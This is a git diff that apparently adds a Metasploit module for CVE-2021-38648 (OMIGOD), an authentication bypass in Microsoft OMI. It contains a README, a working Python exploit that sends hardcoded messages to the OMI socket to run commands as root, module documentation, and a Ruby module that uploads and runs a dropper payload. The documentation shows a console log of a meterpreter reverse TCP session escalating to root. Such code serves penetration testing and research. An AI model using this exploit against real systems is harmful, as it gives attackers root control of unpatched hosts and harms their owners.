diff --git a/data/exploits/CVE-2021-38648/README.md b/data/exploits/CVE-2021-38648/README.md new file mode 100644 index 0000000000..f8f1ebd33a --- /dev/null +++ b/data/exploits/CVE-2021-38648/README.md @@ -0,0 +1,31 @@ +# CVE-2021-38648 Microsoft OMI Management Interface Authentication Bypass +This is an LPE exploit for CVE-2021-38648 + +## Usage + +``` +usage: cve_2021_38648.py [-h] [-s SOCKET_PATH] [--timeout TIMEOUT] command + +positional arguments: + command the command to run + +optional arguments: + -h, --help show this help message and exit + -s SOCKET_PATH, --socket SOCKET_PATH + socket file + --timeout TIMEOUT response timeout +``` + +The exploit will exit with a status of 0 on success. The command is limited to 256 characters in length due to the +hardcoded messages that are exchanged. To increase this, generate a new series of messages using the `strace` command +below, search for the second `writev` syscall and extract each `iovec` instance. There should be six in total, and the +first 4 bytes of each should be consistent. + +The hardcoded messages were recovered using: +``` +strace -v -s 5000 -f -xx -e trace=socket,connect,write,writev,close \ + /opt/omi/bin/omicli iv root/scx { SCX_OperatingSystem } ExecuteShellCommand { command '...' timeout 0 } +``` + +It is important that the exploit wait on the socket for a response to be received. It doesn't need to be read, but the +socket needs to be kept open until either the server closes it or the response is received. diff --git a/data/exploits/CVE-2021-38648/cve_2021_38648.py b/data/exploits/CVE-2021-38648/cve_2021_38648.py new file mode 100644 index 0000000000..bda0cdfa93 --- /dev/null +++ b/data/exploits/CVE-2021-38648/cve_2021_38648.py @@ -0,0 +1,38 @@ +import argparse +import os +import select +import socket +import sys + +def main(): + parser = argparse.ArgumentParser(conflict_handler='resolve') + parser.add_argument('-s', '--socket', dest='socket_path', default='/var/opt/omi/run/omiserver.sock', help='socket file') + parser.add_argument('--timeout', default=5.0, type=int, help='response timeout') + parser.add_argument('command', help='the command to run') + arguments = parser.parse_args() + + command = arguments.command.encode('ascii') + if len(command) > 256: + return os.EX_USAGE + command = command.ljust(256, b'\0') + + sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) + try: + sock.connect(arguments.socket_path) + except Exception: + return os.EX_UNAVAILABLE + + sock.send(b'\x2f\x7e\xa8\xb1\x08\x06\x01\0\0\0\0\0\x05\0\0\0\x88\x23\xb0' + b'\0' * 13 + b'\x90\x7a\xb0\0\0\0\0\0\xbc\0\0\0\0\0\0\0\x80\x76\xb0\0\0\0\0\0\x50\0\0\0\0\0\0\0\x10\x71\xb0\0\0\0\0\0\x50\x05\0\0\0\0\0\0\xf0\x30\xb0\0\0\0\0\0\x6c\x01\0\0\0\0\0\0\x60\x23\xb0\0\0\0\0\0\xf0\x03\0\0\0\0\0\0') + sock.send(b'\x57\x99\x2b\x46\x01\0\0\0\x0f\0\0\0\x5f\x4f\x4d\x49\x5f\x4f\x70\x74\x69\x6f\x6e\x53\x65\x74\0\0\0\0\0\0\x02\0\0\0\0\0\0\x40\x1e\0\0\0\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x43\x48\x41\x4e\x4e\x45\x4c\0\0\0\x15\0\0\0\x01\0\0\0\x03\0\0\0\0\0\0\0\x01\0\0\0\x02\0\0\0\0\0\0\0\x1e\0\0\0\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x54\x49\x4d\x45\x4f\x55\x54\0\0\0\x0c\0\0\0\x01' + b'\0' * 15 + b'\x01\0\0\0\x1e' + b'\0' * 19 + b'\xe3\x74\xf4\x76') + sock.send(b'\x60\xea\x6a\xb2\0\0\0\0\x01\0\0\0\0\0\0\0\xa0\x7b\x41\x68\xa9\x7f\0\0\xe8\x24\xb0' + b'\0' * 21 + b'\x60\x23\xb0\0\0\0\0\0\x20\x71\xb0' + b'\0' * 21) + sock.send(b'\x60\xea\x6a\xb2\0\0\0\0\x01\0\0\0\0\0\0\0\xa0\x7b\x41\x68\xa9\x7f\0\0\xe8\x24\xb0' + b'\0' * 21 + b'\x60\x23\xb0\0\0\0\0\0\x20\x71\xb0' + b'\0' * 21 + b'\x30\x27\xb0\0\0\0\0\0\x03\0\0\0\0\0\0\0\x01' + b'\0' * 35 + b'\x01\0\0\0\x1e' + b'\0' * 19 + b'\x01' + b'\0' * 1203) + sock.send(b'\x57\x99\x2b\x46\x02\0\0\0\x14\0\0\0\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\0\0\0\0\0\x02\0\0\0\0\x10\0\x40\x08\0\0\0\x63\x6f\x6d\x6d\x61\x6e\x64\0\x0d\0\0\0\x01\0\0\0\x01\x01\0\0' + command + b'\0\0\0\0\0\x10\0\x40\x08\0\0\0\x74\x69\x6d\x65\x6f\x75\x74\0\x0d\0\0\0\x01\0\0\0\x02\0\0\0\x30\0\0\0\xe3\x74\xf4\x76') + sock.send(b'\xd0\x76\xb0\0\0\0\0\0\x70\x7a\xb0\0\0\0\0\0\x80\x7a\xb0\0\0\0\0\0\x02\0\0\0\0\0\0\0\xff\xff\xff\xff' + b'\0' * 20 + b'\x60\x23\xb0\0\0\0\0\0\x07\x10\0\0\x01\0\0\0\x03' + b'\0' * 23 + b'\x11\x27' + b'\0' * 142 + b'\x90\x76\xb0\0\0\0\0\0\x90\x7a\xb0\0\0\0\0\0\xbc\0\0\0\0\0\0\0\xa8\x24\xb0\0\0\0\0\0\xb8\x24\xb0\0\0\0\0\0\xd0\x24\xb0' + b'\0' * 13 + b'\xd8\x2a\xb0' + b'\0' * 13 + b'\xf0\x30\xb0\0\0\0\0\0\0\0\0\0\x6c\x01\0\0\x72\x6f\x6f\x74\x2f\x73\x63\x78\0\0\0\0\0\0\0\0\x45\x78\x65\x63\x75\x74\x65\x53\x68\x65\x6c\x6c\x43\x6f\x6d\x6d\x61\x6e\x64\0\0\0\0\0\x53\x43\x58\x5f\x4f\x70\x65\x72\x61\x74\x69\x6e\x67\x53\x79\x73\x74\x65\x6d\0\0\0\0\0\0\0\0\0\x0e\x74\x5f\0\x50\x25\xb0' + b'\0' * 21 + b'\x60\x25\xb0\0\0\0\0\0\x02\0\0\0\x90' + b'\0' * 51 + b'\xff\xff\xff\xff\xff\xff\xff\xff\x5f\x4f\x4d\x49\x5f\x4f\x70\x74\x69\x6f\x6e\x53\x65\x74\0\0\x60\x26\xb0\0\0\0\0\0\xc8\x26\xb0' + b'\0' * 248 + b'\x40\x1d\x6c\x5f\0\xa8\x26\xb0' + b'\0' * 17 + b'\x15' + b'\0' * 15 + b'\x40' + b'\0' * 27 + b'\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x43\x48\x41\x4e\x4e\x45\x4c\0\0\0\0\0\0\0\x1d\x74\x5f\0\x10\x27\xb0' + b'\0' * 17 + b'\x0c' + b'\0' * 15 + b'\x68' + b'\0' * 27 + b'\x5f\x5f\x4d\x49\x5f\x4f\x50\x45\x52\x41\x54\x49\x4f\x4e\x4f\x50\x54\x49\x4f\x4e\x53\x5f\x54\x49\x4d\x45\x4f\x55\x54\0\0\0\0\0\0\0\x01\0\0\0\x02' + b'\0' * 23) + + select.select([sock], [], [], arguments.timeout) + + sock.close() + return os.EX_OK + +if __name__ == '__main__': + sys.exit(main()) diff --git a/documentation/modules/exploit/linux/local/cve_2021_38648_omigod.md b/documentation/modules/exploit/linux/local/cve_2021_38648_omigod.md new file mode 100644 index 0000000000..34de7873d5 --- /dev/null +++ b/documentation/modules/exploit/linux/local/cve_2021_38648_omigod.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +By removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will +cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 +(released September 8th 2021). + +## Verification Steps + +1. Start the application using the [Censys Dockerfile][1] + 1. `docker build . -t ms-omi:cve-2021-38648` + 2. `docker run -it --entrypoint /bin/bash ms-omi:cve-2021-38648` + 3. `/etc/init.d/omid restart` +2. Start `msfconsole` +3. Obtain a session within the container + * The `exploit/multi/script/web_delivery` works well for this purpose +5. Do: `use exploit/linux/local/cve_2021_38648_omigod` +6. Set the module options +7. Do: `exploit` +8. You should get a root shell. + +## Options + +### WritableDir +*This is an advanced option.* + +A directory where you can write files. When using the `Linux Dropper` target, this option must be an absolute path and +less than 246 characters long. + +### SocketPath +*This is an advanced option.* + +The path to the OMI server socket. The default path is `/var/opt/omi/run/omiserver.sock` however when this option is +left blank, it will be determined at runtime. + +## Scenarios + +### Ubuntu 20.04 x64, OMI v1.6.8, SCX v1.6.6 + +``` +msf6 > sessions -i -1 +[*] Starting interaction with 1... + +meterpreter > getuid +Server username: smcintyre +meterpreter > background +[*] Backgrounding session 1... +msf6 > use exploit/linux/local/cve_2021_38648_omigod +[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2021_38648_omigod) > set TARGET Linux\ Dropper +TARGET => Linux Dropper +msf6 exploit(linux/local/cve_2021_38648_omigod) > set PAYLOAD linux/x64/meterpreter/reverse_tcp +PAYLOAD => linux/x64/meterpreter/reverse_tcp +msf6 exploit(linux/local/cve_2021_38648_omigod) > set LHOST 192.168.159.128 +LHOST => 192.168.159.128 +msf6 exploit(linux/local/cve_2021_38648_omigod) > set SESSION 1 +SESSION => 1 +msf6 exploit(linux/local/cve_2021_38648_omigod) > check +[*] The target appears to be vulnerable. Version 1.6.8-0 is affected. +msf6 exploit(linux/local/cve_2021_38648_omigod) > exploit + +[*] Started reverse TCP handler on 192.168.159.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Version 1.6.8-0 is affected. +[*] Writing '/tmp/zbACyVFZyT' (250 bytes) ... +[*] Writing '/tmp/OJ3FZ2W.py' (3824 bytes) ... +[*] Sending stage (3012548 bytes) to 192.168.159.128 +[+] Deleted /tmp/zbACyVFZyT +[+] Deleted /tmp/OJ3FZ2W.py +[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.128:51870 ) at 2021-10-27 11:47:48 -0400 + +meterpreter > getuid +Server username: root +meterpreter > +``` + +[1]: https://gist.github.com/dabdine/ac6aadde068cad4d58251453e688a84f diff --git a/modules/exploits/linux/local/cve_2021_38648_omigod.rb b/modules/exploits/linux/local/cve_2021_38648_omigod.rb new file mode 100644 index 0000000000..eef45c4cdb --- /dev/null +++ b/modules/exploits/linux/local/cve_2021_38648_omigod.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::File + include Msf::Post::Process + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze + DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Microsoft OMI Management Interface Authentication Bypass', + 'Description' => %q{ + By removing the authentication exchange, an attacker can issue requests to the local OMI management socket + that will cause it to execute an operating system command as the root user. This vulnerability was patched in + OMI version 1.6.8-1 (released September 8th 2021). + }, + 'References' => [ + ['CVE', '2021-38648'], + ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'], + ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'], + ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647'] + ], + 'Author' => [ + 'Nir Ohfeld', # vulnerability discovery & research + 'Shir Tamari', # vulnerability discovery & research + 'Spencer McIntyre' # metasploit module + ], + 'DisclosureDate' => '2021-09-14', + 'License' => MSF_LICENSE, + 'Platform' => ['linux', 'unix'], + 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], + 'SessionTypes' => ['shell', 'meterpreter'], + 'Targets' => [ + [ + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'Payload' => { 'DisableNops' => true, 'Space' => 256 } + } + ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper + } + ] + ], + 'DefaultTarget' => 1, + 'DefaultOptions' => { + 'MeterpreterTryToFork' => true + }, + 'Notes' => { + 'AKA' => ['OMIGOD'], + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + + register_advanced_options([ + OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]), + OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ]) + ]) + end + + def check + pid = pidof('omiserver').first + return CheckCode::Safe('The omiserver process was not found.') if pid.nil? + + omiserver_bin = read_file("/proc/#{pid}/cmdline").split("\x00", 2).first + omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH) + return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank? + + vprint_status("Found #{omiserver_bin} running in PID: #{pid}") + if cmd_exec("#{omiserver_bin} --version") =~ /\sOMI-(\d+(\.\d+){2,3}(-\d+)?)\s/ + version = Regexp.last_match(1) + else + return CheckCode::Unknown('Failed to identify the version of the omiserver binary.') + end + + return CheckCode::Safe("Version #{version} is not affected.") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0') + + CheckCode::Appears("Version #{version} is affected.") + end + + def upload(path, data) + print_status "Writing '#{path}' (#{data.size} bytes) ..." + write_file path, data + ensure + register_file_for_cleanup(path) + end + + def find_exec_program + %w[python python3 python2].select(&method(:command_exists?)).first + end + + def get_socket_path + socket_path = datastore['SocketPath'] + return socket_path unless socket_path.blank? + + pid = pidof('omiserver').first + fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil? + + if read_file("/proc/#{pid}/net/unix") =~ %r{\s(/(\S+)server\.sock)$} + socket_path = Regexp.last_match(1) + else + begin + socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket? + rescue StandardError # rubocop:disable Lint/SuppressedException + end + end + + fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank? + + vprint_status("Socket path: #{socket_path}") + socket_path + end + + def exploit + python_binary = find_exec_program + fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary + + vprint_status("Using '#{python_binary}' to run the exploit") + socket_path = get_socket_path + path = datastore['WritableDir'] + python_script = rand_text_alphanumeric(5..10) + '.py' + + case target['Type'] + when :unix_cmd + root_cmd = payload.encoded + when :linux_dropper + unless path.start_with?('/') + # the command will be executed from a different working directory so use an absolute path + fail_with(Failure::BadConfig, 'The payload path must be an absolute path.') + end + + payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}" + if payload_path.length > 256 + # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the + # command that is executed + fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).') + end + + upload(payload_path, generate_payload_exe) + cmd_exec("chmod +x '#{payload_path}'") + root_cmd = payload_path + end + + upload("#{path}/#{python_script}", exploit_data('CVE-2021-38648', 'cve_2021_38648.py')) + cmd = "#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'" + vprint_status("Running #{cmd}") + output = cmd_exec(cmd) + vprint_line(output) unless output.blank? + end +end